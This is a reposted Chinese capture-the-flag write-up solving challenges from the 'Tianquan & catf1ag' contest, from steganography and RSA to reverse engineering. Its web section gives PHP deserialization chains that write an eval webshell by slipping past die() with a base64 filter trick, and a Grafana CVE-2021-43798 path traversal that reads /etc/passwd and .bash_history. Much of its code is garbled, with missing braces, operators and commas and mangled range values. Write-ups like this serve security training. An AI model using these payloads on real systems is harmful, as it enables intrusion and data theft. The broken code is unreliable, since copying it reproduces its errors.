首届天权信安&catf1ag网络安全联合公开赛 WriteUp

admin 2023年1月7日16:10:54评论37 views字数 10708阅读35分41秒阅读模式

比赛结果

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

Misc

简单隐写

文件尾附了2个rar,分离出来

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

打开压缩包发现有密码

尝试发现为jphide隐写,用jphs05解

密码为空

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

压缩包解压

dbug1bh{KQit_x1o_Z0v_H3u_JU!!!}

Ceaser 25得到结果

catf1ag{JPhs_w1n_Y0u_G3t_IT!!!}

十位马

这题手速快,抢了个一血

一个data文件,从16进制转字符串后倒序

发现是个文件头损坏的压缩包

把前两位改成PK

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

解压得到100张图,

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

用montage拼起来

montage *.png -tile 10x10 -geometry +0+0 flag.png

得到一个二维码

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

补个定位码

首届天权信安&catf1ag网络安全联合公开赛 WriteUp
flag{cbef4c93-5e9c-11ed-8205-666c80085daf}

Web

POP

源码

<?php 
class catf1ag1
    public $hzy
    public $arr

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->hzy->$v;
            echo "</br>hzy是社么鬼???";
        } 

    } 


class catf1ag2
    public $file;
    public $txt = ''
    function __get($key){ 
        if($key == 'pputut'){ 
            return $this->pputut(); 
        }else
            return '<p>'.htmlspecialchars($key).'</p>'
        } 
    } 

    function pputut(){ 
        if(    strpos($this->file,'../') !== false || 
            strpos($this->file,'\') !== false      
        ) die(); 

        $content = '<?php die('stupid'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 

    } 



if(!empty($_POST)){ 
    $hzy = base64_decode($_POST['giao']); 
    $instance = unserialize($hzy); 
}else
    $a = new catf1ag1(); 
    $a->show(); 

分析一下就是先从wakeup进入,有一个foreach遍历数组,我们需要传入一个数组之后我们的目的是利用file_put_contents所以我们要触发_get,所以我们将catf1ag1中的hzy赋值给catf1ag2来触发_get,而_get里面如果传入的key=pputut就可以触发pputut(),在pputut()中不能存在../和不然的话会die(); 退出,

之后就到了最终的利用点

$content = '<?php die('stupid'); ?>';
        echo "NICE!!!,来自wsy赠送的小红花</br>";
        $content .= $this->txt; 
        file_put_contents($this->file, $content); 
        return htmlspecialchars($content); 

$content .= $this->txt;将$content和txt做一个拼接赋值给$content,我们要绕过die函数,可以看这个文章

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

利用了base64解码的特性写入木马getshell

Pop

<?php
class catf1ag1{
    public $hzy;
    public $arr;
}

class catf1ag2{
    public $file ;
    public $txt ;

}
$a = new catf1ag1();
$a->arr = array('pputut');
$a->hzy = new catf1ag2();
$a->hzy->file = 'php://filter/convert.base64-decode/resource=shell3.php';
$a->hzy->txt = 'PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==';
echo base64_encode(serialize($a));

访问shell3.php命令执行即可

ezlogin

先扫一下目录

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

发现了robots.txt,看到有imdex.php

首届“天权信安&catf1ag”网络安全联合公开赛 WriteUp

访问imdex.php

首届“天权信安&catf1ag”网络安全联合公开赛 WriteUp

有一个参数way,将他解码,加密过程是hex base64 base64,解码后是index.php

看一下源码有一个source.php

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

将他用hex base64 base64加密后get传参给way,得到源码

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $hello;
    public function __construct(){
        $this->hello = new C;
    }
    public function __toString(){
        if (isset($this->hello)){
            return $this->hello->world();
        }else{
            return "Are you ok? Small dog";
        }
    }
}
class B
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function world(){
        $d   = '<?php die("886");?>';
        $a$d$this->text;
         file_put_contents($this-> file,$a);
    }
}
class C{
    public function world(){
        return "Hello,world!";
    }
}

    $cmd=$_GET['cmd']; 
    if(isset($cmd)){
        echo $IO = unserialize($cmd);
    }
    else{
        echo "where is your chain?";
    }
?> where is your chain?

分析:先从__construct 有两个__construct,如果我们从B类中的__construct入手的话无法触发__toSting,所以我们从A类入手,会返回Hello,world,触发__toSting,再将的hello赋给B利用_toSting可以调用world(),之后和上一题的考点差不多,

public function world(){
        $d   = '<?php die("886");?>';
        $a$d$this->text;
         file_put_contents($this-> file,$a);

$d和text拼接赋值给$a,将$a写入文件中,跟上一题思路一样,利用base64解码特性绕过die,但这次的除字母数字以外,都不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie886”和我们传入的其他字符。“phpdie886”一共有9个字符,因为base64算法解码时是4个byte一组,所以给他增加3个“a”一共12个字符

Pop链

<?php
class A{
    public $hello;
}
class B
{
    public $file = 'php://filter/convert.base64-decode/resource=shell3.php';
    public $text = 'aaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==';
}
$a = new A();
//echo $a;
$a ->hello = new B();
echo serialize($a);

history

CVE-2021-43798

/public/plugins/alertGroups/../../../../../../../../etc/passwd
https://cloud.tencent.com/developer/article/2091499

先读bash history

/public/plugins/alertGroups/../../../../../../../../home/grafana/.bash_history
首届天权信安&catf1ag网络安全联合公开赛 WriteUp

找到文件在/home/grafana/f1ag

首届天权信安&catf1ag网络安全联合公开赛 WriteUp
flag{d5ae5f594dad9abceae1c639e2b681}

Pwn

angr

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

输入1 loggout

输入2getshell

首届天权信安&catf1ag网络安全联合公开赛 WriteUp
flag{850e941d-5095-4a28-89b3-8c3f8fc2e413}

Crypto

easyrsa

给了c d n

#d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
#c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
#n= 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985665822655263963917413080872997526445384954610888776917323156325542921415838122754036103689148810677276471252057077595104724365967333418002158480223657363936976281758713027828747277980907153645847605403914070601944617432177385048803228970693240587900504431163155958465431312258451026447435473865563581029300541109

直接解就行

m = pow (c,d,n)
print(long_to_bytes(m))
flag{3895dfda-67b1-11ed-b784-b07b2568d266}

疑惑

题目介绍:我好"疑惑"
keys1 = welcome_to_nine-ak_match_is_so_easy_!@!
keys2 = 20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92

用key2对key1异或

keys1 = "welcome_to_nine-ak_match_is_so_easy_!@!"
keys2 = "20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92".split(' ')
for i,v in enumerate(keys2):
    print(chr(ord(keys1[i])^int(v)),end='')
catf1ag{nine-ak_match_is@very_easy_@/!}

passwd

格式是纯数字,太难想了

import hashlib

target_hash = "69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95"

for month in range(113):
    for day in range(132):
        for hour in range(024):
            for minute in range(060):
                plaintext = "2022%02d%02d%02d%02d" % (month, day, hour, minute)
                # print(plaintext)
                h = hashlib.sha256()
                h.update(plaintext.encode())
                if h.hexdigest() == target_hash:
                    print("flag: %s" % plaintext)
                    break

包上catf1ag{}提交

re

checkin

脱壳

可手脱可工具脱

定位关键加密位置

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

该代码块下面就是主要的加密函数

去花

分析加密函数

BOOL __cdecl sub_412140(int a1)
{
  unsigned int n; // [esp+610h] [ebp-E2Ch]
  BOOL v3; // [esp+61Ch] [ebp-E20h]
  unsigned int m; // [esp+628h] [ebp-E14h]
  int v5; // [esp+640h] [ebp-DFCh]
  int k; // [esp+64Ch] [ebp-DF0h]
  int j; // [esp+658h] [ebp-DE4h]
  int v8; // [esp+670h] [ebp-DCCh]
  int v9; // [esp+670h] [ebp-DCCh]
  int v10; // [esp+67Ch] [ebp-DC0h]
  int v11; // [esp+67Ch] [ebp-DC0h]
  char v12[39]; // [esp+688h] [ebp-DB4h]
  char v13[3]; // [esp+6AFh] [ebp-D8Dh] BYREF
  unsigned int i; // [esp+6BCh] [ebp-D80h]
  char v15[1009]; // [esp+6C7h] [ebp-D75h]
  char v16[2432]; // [esp+AB8h] [ebp-984h] BYREF

  strcpy(v16, "flechao10");
  for ( i = 0; i < j_j_strlen(a1); ++i )
    v15[i + 1] = *(i + a1);
  v12[0] = -125;
  v12[1] = 27;
  v12[2] = -14;
  v12[3] = 75;
  v12[4] = -81;
  v12[5] = 1;
  v12[6] = 5;
  v12[7] = 35;
  v12[8] = 57;
  v12[9] = 93;
  v12[10] = -94;
  v12[11] = -101;
  v12[12] = -110;
  v12[13] = -15;
  v12[14] = -99;
  v12[15] = -35;
  v12[16] = -35;
  v12[17] = -103;
  v12[18] = -68;
  v12[19] = 119;
  v12[20] = -53;
  v12[21] = 25;
  v12[22] = 114;
  v12[23] = -27;
  v12[24] = 100;
  v12[25] = 47;
  v12[26] = -42;
  v12[27] = 62;
  v12[28] = 15;
  v12[29] = 18;
  v12[30] = 5;
  v12[31] = 108;
  v12[32] = -112;
  v12[33] = 48;
  v12[34] = -73;
  v12[35] = 2;
  v12[36] = -58;
  v12[37] = -48;
  v12[38] = -24;
  qmemcpy(v13, "#<#"sizeof(v13));
  v10 = 0;
  for ( j = 0; j < 256; ++j )
  {
    *&v16[4 * j + 1228] = v16[j % 9];
    *&v16[4 * j + 20] = j;
  }
  for ( k = 0; k < 256; ++k )
  {
    v10 = (*&v16[4 * k + 1228] + *&v16[4 * k + 20] + v10) % 256;
    v8 = *&v16[4 * k + 20];
    *&v16[4 * k + 20] = *&v16[4 * v10 + 20];
    *&v16[4 * v10 + 20] = v8 ^ 0x37;
  }
  v5 = 0;
  v11 = 0;
  for ( m = 0; m < j_j_strlen(a1); ++m )
  {
    v5 = (v5 + 1) % 256;
    v11 = (*&v16[4 * v5 + 20] + v11) % 256;
    v9 = *&v16[4 * v5 + 20];
    *&v16[4 * v5 + 20] = *&v16[4 * v11 + 20];
    *&v16[4 * v11 + 20] = v9;
    v15[v5] ^= v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20];
  }
  v3 = 0;
  for ( n = 0; n < j_j_strlen(a1); ++n )
    v3 = v15[n + 1] == v12[n];
  return v3;
}

最后与v12进行比较 所以只关注v15的值就行了

v15异或了v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20] 得出的v12

所以将v12再次与v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]进行异或就行了

通过动调获取 v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]的具体数值

a = 'A'
print(a*42)
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

把A数值输入进去

在这里下断点

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

跟进v15的值即可看到 A数值与v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]异或之后的结果

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

提出来 写个脚本再次与A进行异或就知道 v16[4 * ((*&v16[4 * v11 + 20] + *&v16[4 * v5 + 20]) % 256) + 20]的数值了

解密脚本

key = [0xA40x360xD20x6D0x950x230x7C0x060x4C0x780xDB0xED0xEA0x9D0xEB0xFD0xAC0xEB0xD00x020xBA0x6D0x550x890x1D0x0C0xA60x4D0x630x6A0x740x150xE40x100xCF0x770xB30xF00xCD0x030x19,0x1F]
key2 = [int(i ^ord('A'))  for i in key]
enc = [0x830x1B0xF20x4B0xAF0x010x050x230x390x5D0xA20x9B0x920xF10x9D0xDD0xDD0x990xBC0x770xCB0x190x720xE50x640x2F0xD60x3E0x0F0x120x050x6C0x900x300xB70x020xC60xD0,0xE8,0x230x3C0x23]
flag = [0]*len(key)
# print(len(key))
for i in range(len(key2)):
    flag[i] = chr(key2[i] ^ enc[i])
for i in range(len(key2)):
    print(flag[i],end = '')
#flag{c8d4d879-7a03-405f-8b12-9085a944adad}

网络安全社团公众号

微信号 : qlnu_ctf

新浪微博:齐鲁师范学院网络安全社团

首届天权信安&catf1ag网络安全联合公开赛 WriteUp

原文始发于微信公众号(齐鲁师院网络安全社团):首届“天权信安&catf1ag”网络安全联合公开赛 WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日16:10:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   首届天权信安&catf1ag网络安全联合公开赛 WriteUphttps://cn-sec.com/archives/1455690.html

发表评论

匿名网友 填写信息